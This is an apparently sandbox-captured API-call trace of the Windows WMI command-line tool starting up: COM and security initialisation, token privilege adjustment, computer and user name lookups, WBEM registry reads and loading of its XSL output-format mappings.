Thread:
	id = 110
	os_tid = 0xde4

	[0217.178] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75b920000
	[0217.178] __set_app_type (_Type=0x1) 
	[0217.179] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75b95ec40) returned 0x0
	[0217.179] __wgetmainargs (in: _Argc=0x7ff75b987258, _Argv=0x7ff75b987260, _Env=0x7ff75b987268, _DoWildCard=0, _StartInfo=0x7ff75b987274 | out: _Argc=0x7ff75b987258, _Argv=0x7ff75b987260, _Env=0x7ff75b987268) returned 0
	[0217.186] ??0CHString@@QEAA@XZ () returned 0x7ff75b9879b0
	[0217.202] malloc (_Size=0x30) returned 0x1bf46da15a0
	[0217.202] malloc (_Size=0x70) returned 0x1bf46da15e0
	[0217.202] malloc (_Size=0x50) returned 0x1bf46da1660
	[0217.202] malloc (_Size=0x30) returned 0x1bf46da16c0
	[0217.202] malloc (_Size=0x48) returned 0x1bf46da1700
	[0217.202] malloc (_Size=0x30) returned 0x1bf46da1750
	[0217.202] malloc (_Size=0x30) returned 0x1bf46da6c00
	[0217.202] ??0CHString@@QEAA@XZ () returned 0x7ff75b987e60
	[0217.202] malloc (_Size=0x30) returned 0x1bf46da6c40
	[0217.204] ?Empty@CHString@@QEAAXXZ () returned 0x7ff850d2674c
	[0217.204] SetConsoleCtrlHandler (HandlerRoutine=0x7ff75b957ca0, Add=1) returned 1
	[0217.204] _onexit (_Func=0x7ff75b9691c0) returned 0x7ff75b9691c0
	[0217.204] _onexit (_Func=0x7ff75b9692a0) returned 0x7ff75b9692a0
	[0217.204] _onexit (_Func=0x7ff75b9692e0) returned 0x7ff75b9692e0
	[0217.204] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0217.204] ResolveDelayLoadedAPI () returned 0x7ff86297efc0
	[0217.205] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0217.631] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0217.651] CoCreateInstance (in: rclsid=0x7ff75b970608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff75b970618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff75b987840 | out: ppv=0x7ff75b987840*=0x1bf46e2c080) returned 0x0
	[0218.120] GetCurrentProcess () returned 0xffffffffffffffff
	[0218.120] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xa2aac7fcc0 | out: TokenHandle=0xa2aac7fcc0*=0x154) returned 1
	[0218.120] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xa2aac7fcb8 | out: TokenInformation=0x0, ReturnLength=0xa2aac7fcb8) returned 0
	[0218.120] malloc (_Size=0x118) returned 0x1bf46da5a80
	[0218.121] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x1bf46da5a80, TokenInformationLength=0x118, ReturnLength=0xa2aac7fcb8 | out: TokenInformation=0x1bf46da5a80, ReturnLength=0xa2aac7fcb8) returned 1
	[0218.121] AdjustTokenPrivileges (in: TokenHandle=0x154, DisableAllPrivileges=0, NewState=0x1bf46da5a80*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1301343445, Attributes=0x1244), (Luid.LowPart=0x1bf, Luid.HighPart=1188698000, Attributes=0x1bf), (Luid.LowPart=0x690070, Luid.HighPart=6750318, Attributes=0x330020), (Luid.LowPart=0x650047, Luid.HighPart=7667822, Attributes=0x6e0069), (Luid.LowPart=0x74006e, Luid.HighPart=7077989, Attributes=0x500000), (Luid.LowPart=0x450043, Luid.HighPart=5439571, Attributes=0x52004f))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0218.121] free (_Block=0x1bf46da5a80) 
	[0218.121] CloseHandle (hObject=0x154) returned 1
	[0218.189] malloc (_Size=0x40) returned 0x1bf46da5a80
	[0218.331] malloc (_Size=0x40) returned 0x1bf46da5ad0
	[0218.331] malloc (_Size=0x40) returned 0x1bf46da5b20
	[0218.331] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0218.339] _vsnwprintf (in: _Buffer=0x1bf46da5b20, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0xa2aac7f9c8 | out: _Buffer="ms_409") returned 6
	[0218.339] malloc (_Size=0x20) returned 0x1bf46da5b70
	[0218.339] GetComputerNameW (in: lpBuffer=0x1bf46da5b70, nSize=0xa2aac7fcc8 | out: lpBuffer="NQDPDE", nSize=0xa2aac7fcc8) returned 1
	[0218.339] lstrlenW (lpString="NQDPDE") returned 6
	[0218.339] malloc (_Size=0xe) returned 0x1bf46da1790
	[0218.339] lstrlenW (lpString="NQDPDE") returned 6
	[0218.339] ResolveDelayLoadedAPI () returned 0x7ff85f026960
	[0218.339] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0xa2aac7fcc0 | out: lpNameBuffer=0x0, nSize=0xa2aac7fcc0) returned 0x0
	[0218.341] GetLastError () returned 0xea
	[0218.341] malloc (_Size=0x1e) returned 0x1bf46da5ba0
	[0218.341] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1bf46da5ba0, nSize=0xa2aac7fcc0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0xa2aac7fcc0) returned 0x1
	[0218.369] lstrlenW (lpString="") returned 0
	[0218.369] lstrlenW (lpString="NQDPDE") returned 6
	[0218.369] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3
	[0218.371] lstrlenW (lpString=".") returned 1
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3
	[0218.371] lstrlenW (lpString="LOCALHOST") returned 9
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2
	[0218.371] free (_Block=0x1bf46da1790) 
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] malloc (_Size=0xe) returned 0x1bf46da1790
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] malloc (_Size=0xe) returned 0x1bf46da5bd0
	[0218.371] lstrlenW (lpString="NQDPDE") returned 6
	[0218.371] malloc (_Size=0x8) returned 0x1bf46da5bf0
	[0218.371] malloc (_Size=0x18) returned 0x1bf46da5c10
	[0218.371] ResolveDelayLoadedAPI () returned 0x7ff86100cdb0
	[0218.378] malloc (_Size=0x30) returned 0x1bf46da5c30
	[0218.378] malloc (_Size=0x18) returned 0x1bf46da5c70
	[0218.378] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0218.378] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0218.378] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0218.378] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0218.378] malloc (_Size=0x30) returned 0x1bf46da5c90
	[0218.378] malloc (_Size=0x18) returned 0x1bf46da5cd0
	[0218.378] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0218.378] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0218.378] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0218.378] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0218.378] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0218.378] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0218.378] malloc (_Size=0x30) returned 0x1bf46da5cf0
	[0218.378] malloc (_Size=0x18) returned 0x1bf46da5d30
	[0218.378] SysStringLen (param_1="DELEGATE") returned 0x8
	[0218.378] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0218.378] SysStringLen (param_1="DELEGATE") returned 0x8
	[0218.378] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0218.378] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0218.378] SysStringLen (param_1="DELEGATE") returned 0x8
	[0218.378] malloc (_Size=0x30) returned 0x1bf46da5d50
	[0218.378] malloc (_Size=0x18) returned 0x1bf46da5d90
	[0218.378] malloc (_Size=0x30) returned 0x1bf46da5db0
	[0218.378] malloc (_Size=0x18) returned 0x1bf46da5df0
	[0218.378] SysStringLen (param_1="NONE") returned 0x4
	[0218.378] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] SysStringLen (param_1="NONE") returned 0x4
	[0218.379] malloc (_Size=0x30) returned 0x1bf46da5e10
	[0218.379] malloc (_Size=0x18) returned 0x1bf46da5e50
	[0218.379] SysStringLen (param_1="CONNECT") returned 0x7
	[0218.379] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] malloc (_Size=0x30) returned 0x1bf46da5e70
	[0218.379] malloc (_Size=0x18) returned 0x1bf46da5eb0
	[0218.379] SysStringLen (param_1="CALL") returned 0x4
	[0218.379] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] SysStringLen (param_1="CALL") returned 0x4
	[0218.379] SysStringLen (param_1="CONNECT") returned 0x7
	[0218.379] malloc (_Size=0x30) returned 0x1bf46da5ed0
	[0218.379] malloc (_Size=0x18) returned 0x1bf46da5f10
	[0218.379] SysStringLen (param_1="PKT") returned 0x3
	[0218.379] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] SysStringLen (param_1="PKT") returned 0x3
	[0218.379] SysStringLen (param_1="NONE") returned 0x4
	[0218.379] SysStringLen (param_1="NONE") returned 0x4
	[0218.379] SysStringLen (param_1="PKT") returned 0x3
	[0218.379] malloc (_Size=0x30) returned 0x1bf46da5f30
	[0218.379] malloc (_Size=0x18) returned 0x1bf46da5f70
	[0218.379] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0218.379] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0218.379] SysStringLen (param_1="NONE") returned 0x4
	[0218.379] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0218.379] SysStringLen (param_1="PKT") returned 0x3
	[0218.379] SysStringLen (param_1="PKT") returned 0x3
	[0218.379] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0218.379] malloc (_Size=0x30) returned 0x1bf46daa510
	[0218.379] malloc (_Size=0x18) returned 0x1bf46da5f90
	[0218.379] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0218.379] SysStringLen (param_1="DEFAULT") returned 0x7
	[0218.379] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0218.379] SysStringLen (param_1="PKT") returned 0x3
	[0218.379] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0218.379] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0218.379] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0218.379] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0218.379] malloc (_Size=0x30) returned 0x1bf46daa9d0
	[0218.380] malloc (_Size=0x40) returned 0x1bf46da5fb0
	[0218.380] malloc (_Size=0x20a) returned 0x1bf46dab010
	[0218.380] GetSystemDirectoryW (in: lpBuffer=0x1bf46dab010, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0218.380] free (_Block=0x1bf46dab010) 
	[0218.380] malloc (_Size=0x18) returned 0x1bf46da6000
	[0218.380] malloc (_Size=0x18) returned 0x1bf46dab010
	[0218.380] malloc (_Size=0x18) returned 0x1bf46dab030
	[0218.380] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13
	[0218.380] SysStringLen (param_1="\\wbem\\") returned 0x6
	[0218.380] free (_Block=0x1bf46da6000) 
	[0218.380] free (_Block=0x1bf46dab010) 
	[0218.380] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32
	[0218.380] free (_Block=0x1bf46dab030) 
	[0218.380] malloc (_Size=0x18) returned 0x1bf46dab140
	[0218.380] malloc (_Size=0x18) returned 0x1bf46dab2c0
	[0218.380] malloc (_Size=0x18) returned 0x1bf46dab100
	[0218.380] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19
	[0218.380] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10
	[0218.380] free (_Block=0x1bf46dab140) 
	[0218.380] free (_Block=0x1bf46dab2c0) 
	[0218.380] GetCurrentThreadId () returned 0xde4
	[0218.380] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0xa2aac7f5d0 | out: phkResult=0xa2aac7f5d0*=0x15c) returned 0x0
	[0218.381] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0xa2aac7f620, lpcbData=0xa2aac7f5c0*=0x400 | out: lpType=0x0, lpData=0xa2aac7f620*=0x30, lpcbData=0xa2aac7f5c0*=0x4) returned 0x0
	[0218.381] _wcsicmp (_String1="0", _String2="1") returned -1
	[0218.381] _wcsicmp (_String1="0", _String2="2") returned -2
	[0218.381] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xa2aac7f5c0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0xa2aac7f5c0*=0x42) returned 0x0
	[0218.381] malloc (_Size=0x86) returned 0x1bf46dab420
	[0218.381] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x1bf46dab420, lpcbData=0xa2aac7f5c0*=0x42 | out: lpType=0x0, lpData=0x1bf46dab420*=0x25, lpcbData=0xa2aac7f5c0*=0x42) returned 0x0
	[0218.381] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0218.381] malloc (_Size=0x42) returned 0x1bf46dab4b0
	[0218.381] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0218.381] RegQueryValueExW (in: hKey=0x15c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0xa2aac7f620, lpcbData=0xa2aac7f5c0*=0x400 | out: lpType=0x0, lpData=0xa2aac7f620*=0x36, lpcbData=0xa2aac7f5c0*=0xc) returned 0x0
	[0218.381] _wtol (_String="65536") returned 65536
	[0218.381] free (_Block=0x1bf46dab420) 
	[0218.381] RegCloseKey (hKey=0x0) returned 0x6
	[0218.381] CoCreateInstance (in: rclsid=0x7ff75b970668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff75b970678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xa2aac7fac0 | out: ppv=0xa2aac7fac0*=0x1bf47316f20) returned 0x0
	[0219.400] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x1bf47316f20, xmlSource=0xa2aac7fc00*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0xa2aac7fc70 | out: isSuccessful=0xa2aac7fc70*=0xffff) returned 0x0
	[0221.952] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x1bf47316f20, DOMElement=0xa2aac7fac8 | out: DOMElement=0xa2aac7fac8*=0x1bf473194b0) returned 0x0
	[0221.956] malloc (_Size=0x18) returned 0x1bf46dab140
	[0221.976] free (_Block=0x1bf46dab140) 
	[0221.998] malloc (_Size=0x18) returned 0x1bf46dab1c0
	[0221.999] free (_Block=0x1bf46dab1c0) 
	[0221.999] malloc (_Size=0x18) returned 0x1bf46dab120
	[0221.999] malloc (_Size=0x18) returned 0x1bf46dab360
	[0221.999] malloc (_Size=0x30) returned 0x1bf46daa590
	[0221.999] malloc (_Size=0x18) returned 0x1bf46dab2c0
	[0221.999] free (_Block=0x1bf46dab2c0) 
	[0222.000] malloc (_Size=0x18) returned 0x1bf46dab380
	[0222.000] malloc (_Size=0x18) returned 0x1bf46dab1c0
	[0222.000] SysStringLen (param_1="VALUE") returned 0x5
	[0222.000] SysStringLen (param_1="TABLE") returned 0x5
	[0222.000] SysStringLen (param_1="TABLE") returned 0x5
	[0222.000] SysStringLen (param_1="VALUE") returned 0x5
	[0222.000] malloc (_Size=0x30) returned 0x1bf46daaa10
	[0222.000] malloc (_Size=0x18) returned 0x1bf46dab180
	[0222.000] free (_Block=0x1bf46dab180) 
	[0222.000] malloc (_Size=0x18) returned 0x1bf46dab2e0
	[0222.000] malloc (_Size=0x18) returned 0x1bf46dab3a0
	[0222.000] SysStringLen (param_1="LIST") returned 0x4
	[0222.000] SysStringLen (param_1="TABLE") returned 0x5
	[0222.000] malloc (_Size=0x30) returned 0x1bf46daa790
	[0222.000] malloc (_Size=0x18) returned 0x1bf46dab280
	[0222.001] free (_Block=0x1bf46dab280) 
	[0222.001] malloc (_Size=0x18) returned 0x1bf46dab180
	[0222.001] malloc (_Size=0x18) returned 0x1bf46dab0e0
	[0222.001] SysStringLen (param_1="RAWXML") returned 0x6
	[0222.001] SysStringLen (param_1="TABLE") returned 0x5
	[0222.001] SysStringLen (param_1="RAWXML") returned 0x6
	[0222.001] SysStringLen (param_1="LIST") returned 0x4
	[0222.001] SysStringLen (param_1="LIST") returned 0x4
	[0222.001] SysStringLen (param_1="RAWXML") returned 0x6
	[0222.001] malloc (_Size=0x30) returned 0x1bf46daa5d0
	[0222.001] malloc (_Size=0x18) returned 0x1bf46dab3c0
	[0222.001] free (_Block=0x1bf46dab3c0) 
	[0222.001] malloc (_Size=0x18) returned 0x1bf46dab080
	[0222.001] malloc (_Size=0x18) returned 0x1bf46dab3e0
	[0222.001] SysStringLen (param_1="HTABLE") returned 0x6
	[0222.001] SysStringLen (param_1="TABLE") returned 0x5
	[0222.001] SysStringLen (param_1="HTABLE") returned 0x6
	[0222.001] SysStringLen (param_1="LIST") returned 0x4
	[0222.001] malloc (_Size=0x30) returned 0x1bf46daaa50
	[0222.002] malloc (_Size=0x18) returned 0x1bf46dab1e0
	[0222.002] free (_Block=0x1bf46dab1e0) 
	[0222.002] malloc (_Size=0x18) returned 0x1bf46dab200
	[0222.002] malloc (_Size=0x18) returned 0x1bf46dab1a0
	[0222.002] SysStringLen (param_1="HFORM") returned 0x5
	[0222.002] SysStringLen (param_1="TABLE") returned 0x5
	[0222.002] SysStringLen (param_1="HFORM") returned 0x5
	[0222.002] SysStringLen (param_1="LIST") returned 0x4
	[0222.002] SysStringLen (param_1="HFORM") returned 0x5
	[0222.002] SysStringLen (param_1="HTABLE") returned 0x6
	[0222.002] malloc (_Size=0x30) returned 0x1bf46daa450
	[0222.002] malloc (_Size=0x18) returned 0x1bf46dab140
	[0222.002] free (_Block=0x1bf46dab140) 
	[0222.002] malloc (_Size=0x18) returned 0x1bf46dab220
	[0222.002] malloc (_Size=0x18) returned 0x1bf46dab060
	[0222.003] SysStringLen (param_1="XML") returned 0x3
	[0222.003] SysStringLen (param_1="TABLE") returned 0x5
	[0222.003] SysStringLen (param_1="XML") returned 0x3
	[0222.003] SysStringLen (param_1="VALUE") returned 0x5
	[0222.003] SysStringLen (param_1="VALUE") returned 0x5
	[0222.003] SysStringLen (param_1="XML") returned 0x3
	[0222.003] malloc (_Size=0x30) returned 0x1bf46daa550
	[0222.003] malloc (_Size=0x18) returned 0x1bf46dab160
	[0222.003] free (_Block=0x1bf46dab160) 
	[0222.003] malloc (_Size=0x18) returned 0x1bf46dab1e0
	[0222.003] malloc (_Size=0x18) returned 0x1bf46dab3c0
	[0222.003] SysStringLen (param_1="MOF") returned 0x3
	[0222.003] SysStringLen (param_1="TABLE") returned 0x5
	[0222.003] SysStringLen (param_1="MOF") returned 0x3
	[0222.003] SysStringLen (param_1="LIST") returned 0x4
	[0222.003] SysStringLen (param_1="MOF") returned 0x3
	[0222.003] SysStringLen (param_1="RAWXML") returned 0x6
	[0222.003] SysStringLen (param_1="LIST") returned 0x4
	[0222.003] SysStringLen (param_1="MOF") returned 0x3
	[0222.003] malloc (_Size=0x30) returned 0x1bf46daa810
	[0222.004] malloc (_Size=0x18) returned 0x1bf46dab0a0
	[0222.004] free (_Block=0x1bf46dab0a0) 
	[0222.004] malloc (_Size=0x18) returned 0x1bf46dab2a0
	[0222.004] malloc (_Size=0x18) returned 0x1bf46dab140
	[0222.004] SysStringLen (param_1="CSV") returned 0x3
	[0222.004] SysStringLen (param_1="TABLE") returned 0x5
	[0222.004] SysStringLen (param_1="CSV") returned 0x3
	[0222.004] SysStringLen (param_1="LIST") returned 0x4
	[0222.004] SysStringLen (param_1="CSV") returned 0x3
	[0222.004] SysStringLen (param_1="HTABLE") returned 0x6
	[0222.004] SysStringLen (param_1="CSV") returned 0x3
	[0222.004] SysStringLen (param_1="HFORM") returned 0x5
	[0222.004] malloc (_Size=0x30) returned 0x1bf46daaa90
	[0222.004] malloc (_Size=0x18) returned 0x1bf46dab160
	[0222.004] free (_Block=0x1bf46dab160) 
	[0222.005] malloc (_Size=0x18) returned 0x1bf46dab160
	[0222.005] malloc (_Size=0x18) returned 0x1bf46dab2c0
	[0222.005] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.005] SysStringLen (param_1="TABLE") returned 0x5
	[0222.005] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.005] SysStringLen (param_1="VALUE") returned 0x5
	[0222.005] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.005] SysStringLen (param_1="XML") returned 0x3
	[0222.005] SysStringLen (param_1="XML") returned 0x3
	[0222.005] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.005] malloc (_Size=0x30) returned 0x1bf46daa650
	[0222.005] malloc (_Size=0x18) returned 0x1bf46dab300
	[0222.005] free (_Block=0x1bf46dab300) 
	[0222.005] malloc (_Size=0x18) returned 0x1bf46dab240
	[0222.005] malloc (_Size=0x18) returned 0x1bf46dab260
	[0222.005] SysStringLen (param_1="texttablewsys") returned 0xd
	[0222.005] SysStringLen (param_1="TABLE") returned 0x5
	[0222.005] SysStringLen (param_1="texttablewsys") returned 0xd
	[0222.005] SysStringLen (param_1="XML") returned 0x3
	[0222.005] SysStringLen (param_1="texttablewsys") returned 0xd
	[0222.005] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.006] SysStringLen (param_1="XML") returned 0x3
	[0222.006] SysStringLen (param_1="texttablewsys") returned 0xd
	[0222.006] malloc (_Size=0x30) returned 0x1bf46daa7d0
	[0222.006] malloc (_Size=0x18) returned 0x1bf46dab280
	[0222.006] free (_Block=0x1bf46dab280) 
	[0222.006] malloc (_Size=0x18) returned 0x1bf46dab0a0
	[0222.006] malloc (_Size=0x18) returned 0x1bf46dab280
	[0222.006] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.006] SysStringLen (param_1="TABLE") returned 0x5
	[0222.006] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.006] SysStringLen (param_1="XML") returned 0x3
	[0222.006] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.006] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.006] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.006] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.006] malloc (_Size=0x30) returned 0x1bf46daa850
	[0222.007] malloc (_Size=0x18) returned 0x1bf46dab300
	[0222.007] free (_Block=0x1bf46dab300) 
	[0222.007] malloc (_Size=0x18) returned 0x1bf46dab300
	[0222.007] malloc (_Size=0x18) returned 0x1bf46dab320
	[0222.007] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.007] SysStringLen (param_1="TABLE") returned 0x5
	[0222.007] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.007] SysStringLen (param_1="XML") returned 0x3
	[0222.007] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.007] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.007] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.007] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.007] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.007] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.007] malloc (_Size=0x30) returned 0x1bf46daa710
	[0222.007] malloc (_Size=0x18) returned 0x1bf46dab340
	[0222.007] free (_Block=0x1bf46dab340) 
	[0222.007] malloc (_Size=0x18) returned 0x1bf46dab340
	[0222.007] malloc (_Size=0x18) returned 0x1bf46dab0c0
	[0222.008] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.008] SysStringLen (param_1="TABLE") returned 0x5
	[0222.008] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.008] SysStringLen (param_1="XML") returned 0x3
	[0222.008] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.008] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.008] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.008] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.008] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.008] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.008] malloc (_Size=0x30) returned 0x1bf46daaad0
	[0222.008] malloc (_Size=0x18) returned 0x1bf46dadcd0
	[0222.008] free (_Block=0x1bf46dadcd0) 
	[0222.009] malloc (_Size=0x18) returned 0x1bf46dae010
	[0222.009] malloc (_Size=0x18) returned 0x1bf46dadbf0
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0222.009] SysStringLen (param_1="TABLE") returned 0x5
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0222.009] SysStringLen (param_1="XML") returned 0x3
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0222.009] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0222.009] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.009] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.009] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0222.009] malloc (_Size=0x30) returned 0x1bf46daa490
	[0222.009] malloc (_Size=0x18) returned 0x1bf46dad950
	[0222.009] free (_Block=0x1bf46dad950) 
	[0222.009] malloc (_Size=0x18) returned 0x1bf46dadcd0
	[0222.009] malloc (_Size=0x18) returned 0x1bf46dada30
	[0222.009] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0222.009] SysStringLen (param_1="TABLE") returned 0x5
